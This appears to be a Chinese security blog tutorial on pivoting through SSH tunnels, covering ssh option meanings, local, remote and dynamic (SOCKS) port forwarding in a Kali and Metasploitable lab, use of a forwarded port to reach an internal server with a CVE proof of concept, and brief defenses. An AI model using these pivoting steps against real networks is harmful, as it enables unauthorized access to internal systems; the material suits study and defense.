跳板攻击之:SSH 隧道
跳板攻击之:SSH 隧道
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
1 SSH 隧道原理
SSH 支持双向通信隧道,并会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。将其他 TCP 端口的通信通过 SSH 连接来转发,加密后的数据可以突破防火墙访问规则的限制。
# 建立SSH 隧道常用参数:
-C
要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 gzip(1) 的一样, 协议第一版中, 压缩级别 ``level 用 CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 Compression 选项.
-g
允许远端主机连接本地转发的端口.即复用访问时作为网关,支持多主机访问本地侦听端口网关模式转发RDP、NC shell
-n
把 stdin 重定向到 /dev/null (实际上防止从 stdin 读取数据). 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, ssh -n shadows.cs.hut.fi emacs 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. 在后台运行. (但是如果要求口令或密语, 这种方式就无法工作; 参见 -f 选项.)
-N
不执行远程命令. 用于转发端口. (仅限协议第二版),即不执行登陆 shell
-f
后台运行程序. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令.
-p port
指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数.
-q
安静模式. 消除所有的警告和诊断信息.
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器动态的应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
-T
禁止分配伪终端.
2 实验环境
2.1 本地端口转发
- 效果类似于 rinetd,将一本地端口与远程服务器建立隧道 。
- 端口转发基于建立起来的 SSH 隧道,隧道中断则端口转发中断。
- 只能在建立隧道时创建转发,不能为已有隧道增加端口转发
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes
- Port 22
- PasswordAuthentication yes
service ssh restart
# -p 默认使用的 ssh 端口为 22
ssh -CfN -L <liste ip>:<liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
# 没有配置<liste ip>默认监听的是 WEB Server 的本地 127.0.0.1 地址(了解)。
ssh -CfN -L <liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
2.1.1 本地端口转发利用方式

恶意用户主机开启本地端口转发
┌──(root㉿kali)-[~]
└─# ssh -CfN -L 0.0.0.0:8888:10.0.0.7:8080 root@192.168.50.4

恶意用户远程请求内网服务器 CVE-2018-1000006 POC
http://127.0.0.1:8888/

2.2 远程端口转发
- 由于 ACL 等原因,SSH 与应用连接建立方向相反
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes
- Port 22
- PasswordAuthentication yes
service ssh restart
# <SSH hostname> 为要将数据转发过去的主机, -p 默认使用的 ssh 端口为 22
ssh -CfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port>
ssh -qTfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port>
ssh –p 2222 web@127.0.0.1
2.2.1 远程端口转发利用方式

恶意主机开启 SSH 服务
┌──(kali㉿kali)-[~]
└─$ systemctl start ssh.service
远程登陆 WEB Server ,开启远程端口转发。
firefart@metasploitable:~# ssh -CfN -R 2323:192.168.230.129:23 kali@192.168.0.2


恶意用户远程请求内网服务器 bulldog
┌──(kali㉿kali)-[~]
└─$ ssh -p 2323 root@127.0.0.1

2.3 动态端口转发(Socks 代理)

- 本地、远程端口转发都需要固定应用服务器IP、Port,存在应用端口繁多,逐个转发效率低;不支持不固定端口应用;当网站不支持 IP 直接访问时无法直接使用。
- 使用非受信网络上网时保护流量不被嗅探
恶意用户与 WEB Server 建立动态端口转发:
ssh -CNfg -D <local listen port> user@<ssh server> -p <ssh server port>
恶意设置 socks 代理,即可访问内网服务器
2.3.1 动态端口转发利用方式
恶意主机开启动态端口转发
┌──(kali㉿kali)-[~]
└─$ ssh -CNfg -D 1080 firefart@192.168.0.3 -p 22

应用程序设置 SOCKS 代理:

恶意用户远程请求内网服务器 bulldog
http://192.168.230.129:8080/

3 防御 SSH 隧道攻击
- 配置 SSH 远程管理白名单。
- 在 ACL 中限制只有特定的 IP 地址才能连接 SSH。
跳板攻击之:SSH 隧道的更多相关文章
- ssh隧道(通过跳板机)连接mysql
案例: A服务器 B服务器 C服务器mysql 现在mysql服务器C只能通过内网访问,B服务器就能通过内网连接访问到mysql A服务器无法直接连接C服务器mysql,所以要通过跳板机(跳板 ...
- SSH隧道应用, 突破网络限制
文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...
- ssh隧道
最近有需求使用ssh隧道,顺便研究了下,以下记录一下大概说明 ssh隧道顾名思义在可以通过ssh连接的server之间建立加密隧道,常用于突破网络限制 常用三种端口转发模式:本地端口转发,远程端口转发 ...
- SSH隧道:端口转发功能详解
SSH系列文章: SSH基础:SSH和SSH服务 SSH转发代理:ssh-agent用法详解 SSH隧道:端口转发功能详解 1.1 ssh安全隧道(一):本地端口转发 如下图,假如host3和host ...
- SQLyog通过ssh隧道连接MySQL
1.简介 因为现在很多公司服务的数据库为了安全起见,都不允许直接连接其服务,而只能通过跳板机进行登陆到数据库.而ssh有一项非常有用的功能,即端口转发的隧道功能,让一些不安全的服务,像TCP.POP3 ...
- 流量操控之SSH隧道与端口转发
目 录 第1章 概述... 3 1.1. 实现命令... 3 1.2. SSH隧道类型... 3 第2章 SSH隧道... ...
- ssh隧道使用
在内网中几乎所有的linux服务器和网络设备都支持ssh协议.一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用.同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会 ...
- SSH: ssh隧道
简介 Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境.SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接. ...
- 利用SSH隧道加密技术隐蔽C&C通信流量
在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用.众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案. ...
- ssh隧道(端口转发)
本地转发: ssh -Nf -L [bind_address:]port:host:hostport sshServer -Nf 后台运行 -L 本地转发 [bind_address] 绑定本地地址, ...
随机推荐
- 【Java SE进阶】Day06 线程、同步
一.线程 1.多线程原理 流程图 内存图解说明 创建线程的方式 继承Thread类 实现 Runnable接口 2.继承Thead类 3.实现Runnable接口 实现接口,重写run方法 最终均需要 ...
- Rust学习之旅(读书笔记):枚举 (Enum)
Rust学习之旅(读书笔记):枚举 (Enum) C 语言的枚举类型很弱,不如后来的语言,也不如之前的语言.在 C 语言里面枚举量就是一个名字,更方便的定义常量.今天读了<The Rust Pr ...
- 基于.NetCore开发博客项目 StarBlog - (23) 文章列表接口分页、过滤、搜索、排序
前言 上一篇留的坑,火速补上. 在之前的第6篇中,已经有初步介绍,本文做一些补充,已经搞定这部分的同学可以快速跳过,基于.NetCore开发博客项目 StarBlog - (6) 页面开发之博客文章列 ...
- 二阶段目标检测网络-Cascade RCNN 详解
摘要 1,介绍 1.1,Faster RCNN 回顾 1.2,mismatch 问题 2,实验分析 2.1,改变IoU阈值对Detector性能的影响 2.2,提高IoU阈值的影响 2.3,和Iter ...
- Redis学习整理
目录 1.Redis基本概念 2.Redis的5种基本类型 3.Jedis整合redis操作 4.Springboot整合redis 5.Redis主从复制 5.1.概念 5.2.原理 6.开启主从复 ...
- java注解基础知识整理
目录 1.注解的定义 1.1.定义一个注解 1.2.注解的使用 2.JDK内置注解 2.1.java.lang包下的注释类型 2.2.元注解 2.3.Deprecated注解 3.在注解中定义属性 3 ...
- cmd/批处理常用命令
启动新窗口执行命令 ::执行完毕以后,新开的窗口不会自动关闭 start cmd /k echo 123 ::执行完毕以后,新开的窗口会自动关闭 start cmd /C "echo 123 ...
- python之路32 网络并发线程方法 线程池 协程
多进程实现TCP服务端并发 服务端: import socket from multiprocessing import Process def get_server(): server = sock ...
- [cocos2d-x]捕鱼达人炮台射击角度的旋转实现
话不多说,先上图,下面是实现代码(在后面会具体讲解实现过程): //第一步:将炮台的坐标转换为世界坐标下的坐标点 CCPoint location = this->getParent()-> ...
- 微信小程序转发onShareAppMessage设置path参数后在onload获取不到值的原因和解决方法
官方实例:https://developers.weixin.qq.com/miniprogram/dev/reference/api/Page.html#onShareAppMessage-Obje ...